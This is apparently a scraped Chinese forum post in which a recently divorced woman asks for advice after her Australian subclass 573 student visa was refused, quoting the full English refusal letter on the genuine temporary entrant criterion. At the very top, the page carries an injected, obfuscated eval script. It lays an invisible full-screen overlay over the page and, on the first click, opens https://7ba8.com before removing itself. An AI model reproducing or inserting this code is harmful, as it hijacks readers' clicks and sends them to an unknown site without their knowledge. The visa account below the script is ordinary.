<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>难过！非常难过！
说不难过是不可能的。
我是2007年陪我老公去澳洲的， 当时办的是陪读。
我老公2010年12月毕业，2011年3月申请了485， 我是附申请人，
然后我2011年7月开始于UNSW读Ms of IT， 当时拿着bridge visa.
2007年8月-2011年12月期间没有回国过。
由于personal reason, we got divorce in December， 2011
书读了一个semester, 还有3个semester， 我是一心想把书读完了。
但是当时我已经拿bridge visa超过28天了， 所以一定要回国申请，
因为事情比较突然， 所以资金担保办的是贷款！
我月1月13日递交的申请， 找的是广州启德， 顾问是人非常好的女生， 姓骆。
递交申请前， 我也反复和她确认了材料， 材料也被他们同事反复审核， 确保没有问题才递交了。
谁都没有预料到会这样？
以下是使馆今天发出的拒信， 希望大家帮分析以下情况， 重递的话成功率大吗？
Application details
Visa class: Student (Temporary) (Class TU) Date lodged: 13th January 2012
Migration law and prescribed criteria
****
The legal criteria for the grant of a student visa are set out in the Migration Act 1958 and the Migration Regulations 1994. All applicants are assessed against these criteria, and there is no discretion for decision-makers to grant a visa to an applicant who does not satisfy all the relevant criteria.
Intended course(s)
Confirmation of Enrolment number(s): ***
Assessment
****
You are enrolled in, or have been offered a place in, a principal course of study that has been specified by Gazette Notice as a type of course for a subclass 573 visa. Accordingly, you have been primarily assessed against the criteria for the grant of a subclass 573 visa.
You did not satisfy Regulation 573.223(1) for the following reasons:
Direction No 53 – Assessing the genuine temporary entrant criterion for Student visa applications sets out the factors that must be taken into account when assessing the genuine temporary entrant criterion for Student visa applications and these relevantly include:
? The applicant’s circumstances in their home country, including the political and economic situation in the applicant’s home country, the extent of the applicant’s personal ties to their home country, and military service commitments that would present as a significant incentive for the applicant not to return to their home country.
? The applicant’s potential circumstances in Australia, including the extent of the applicant’s ties with Australia, whether the student visa program may be used to circumvent permanent migration programs, whether the Student visa is being used to maintain ongoing residence, the applicant’s knowledge of living in Australia, and whether the primary and secondary applicants have entered into a relationship of concern.
? The value of the course to the applicant’s future, including remuneration and career prospects in the applicant’s home country
? The applicant’s immigration history, including visa and travel history for Australia and other countries.
? If the applicant is a minor, the intentions of a parent, legal guardian or spouse of the applicant. Any other matter relevant to the applicant’s intention to stay in Australia temporarily must also be
considered.
I have considered the factors set out in Ministerial Direction No 53 including the applicant’s immigration history, if the applicant is a minor and any other relevant matter. I am satisfied that these factors are not relevant to this application.
I have noted that the applicant is a 26 year old recently divorced female who has completed a Bachelor of Engineering and also a Certificate III in Children Services and is intending on studying a Master of Information Technology. I would note that similar quality courses are available in China for a lower cost. I have serious concerns surrounding the applicants study and career path, as they have obtained the Bachelor of Engineering, then studied Certificate III in Child Services and are now proposing to study a Master of Information Technology. This shows a lack of commitment to one stream of study or career path.
I have also taken into consideration; the applicant has been in Australia as a dependant applicant since 2007 and was endeavoring to obtain a Temporary Skilled Visa, until they were divorced from their husband who was the primary applicant. Whilst I accept and have placed weight on the fact that the applicant may wish to study in an English speaking environment, given the applicant has not investigated study options in their home country along with the indications they are wanting to remain in Australia on a more permanent basis, I cannot be satisfied, given their individual circumstances, that the applicant intends a genuine temporary stay in Australia.
I give weight to the applicant's circumstances in their home country which indicate that the applicant does not genuinely intend to stay in Australia temporarily. Based on this information the applicant does not meet for the grant of a student TU573 visa.
The criteria in the subclass 573 visa regulations that you did not satisfy are set out at the end of this decision record.
You have also been considered against the other subclasses within Student (Temporary) (Class TU): subclasses 571, 572, 574, 575, 576 and 580.
You did not satisfy the primary criteria for any of these subclasses because you:
? were not enrolled in, or had not been offered a place in, a principal course of study that had been
specified by Gazette Notice as a type of course for any of these subclasses (Regulation 571.232
570.232, 572.231, 574.231 and 575.231); and
? did not have the support of the AusAID Minister or the Defence Minister for the grant of the visa
(Regulation 576.229).
You did not satisfy the secondary criteria for the grant of any subclass of student visa within Student (Temporary) (Class TU) because you are not a member of the family unit of a person who:
? is the holder of a subclass of student visa within Student (Temporary) (Class TU); or
? satisfies, or has satisfied, the primary criteria for the grant of a subclass of student visa within
Student (Temporary) (Class TU) (Regulation 570.322, 571.322, 572.322, 574.322 and 575.322);
and
? had the support of the AusAID Minister or the Defence Minister for the grant of the visa
(Regulation 576.322).
As your application was not made on form 157G (Application for a Student Guardian visa), it was not a valid application for grant of a subclass 580 Student Guardian visa (Item 1222(1)(ca) of the
Migration Regulations).
Decision
I am not satisfied that the applicant(s) in this case satisfy the prescribed criteria for any subclass of visa within Student (Temporary) (Class TU). I therefore refuse to grant a Student (Temporary) (Class TU) visa to the applicant(s) listed above.
Gavin Turner
Delegate of the Minister for Immigration Position number 60002332
Date: 13 February 2012
Criteria in the Migration Regulations not satisfied Regulation 573.223
(1) The Minister is satisfied that the applicant is a genuine applicant for entry and stay as a student because:
(a) the Minister is satisfied that the applicant intends genuinely to stay in Australia temporarily, having regard to:
????(i) (ii) (iii)
(iv) any other relevant matter; and
(b) the applicant meets the requirements of subclause (2).
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